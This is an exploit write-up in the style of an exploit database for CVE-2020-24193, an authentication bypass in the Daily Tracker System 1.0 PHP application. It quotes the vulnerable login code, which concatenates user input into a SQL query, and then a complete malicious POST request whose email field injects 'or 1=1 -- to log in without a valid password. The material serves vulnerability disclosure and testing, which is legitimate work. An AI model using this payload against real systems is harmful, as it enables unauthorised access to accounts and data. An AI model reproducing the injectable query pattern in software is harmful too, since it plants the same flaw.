Daily Tracker System 1.0 – Authentication Bypass
# Exploit Title: Daily Tracker System 1.0 - Authentication Bypass # Exploit Author: Adeeb Shah (@hyd3sec) & Bobby Cooke (boku) # CVE ID: CVE-2020-24193 # Date: September 2, 2020 # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/download-code?nid=14372&title=Daily+Tracker+System+in+PHP%2FMySQL # Version: 1.0 # Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4 # Vulnerable Source Code if(isset($_POST['login'])) { $email=$_POST['email']; $password=md5($_POST['password']); $query=mysqli_query($con,"select ID from tbluser where Email='$email' && Password='$password ' "); $ret=mysqli_fetch_array($query); if($ret>0){ $_SESSION['detsuid']=$ret['ID']; header('location:dashboard.php'); } else{ $msg="Invalid Details."; } } ?> # Malicious POST Request to https://TARGET/dets/index.php HTTP/1.1 POST /dets/index.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://172.16.65.130/dets/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 48 DNT: 1 Connection: close Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s Upgrade-Insecure-Requests: 1 email='+or+1%3d1+--+hyd3sec&password=badPass&login=login |